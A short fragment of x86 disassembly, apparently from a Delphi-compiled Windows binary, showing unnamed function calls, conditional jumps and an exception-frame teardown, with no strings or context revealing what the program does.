call fcn.0040dfe4
test al, al
je 0x4154e1
mov eax, esi
mov edx, 0x416b64
call fcn.00403770
mov ecx, 0x41587c
lea eax, [ebp - 0x178]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x178]
call fcn.0040dfe4
jmp 0x415524
mov eax, esi
mov edx, 0x416b78
call fcn.00403770
call fcn.004061b4
call fcn.0040efc4
test al, al
jne 0x415524
call fcn.004061b4
call fcn.0040fb44
test al, al
jne 0x415524
call fcn.0040efc4
mov eax, 0x416bc8
call fcn.0041706c
mov eax, esi
mov edx, 0x416be0
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415549
lea eax, [ebp - 0x178]
mov edx, 0x5e
call fcn.00403740
ret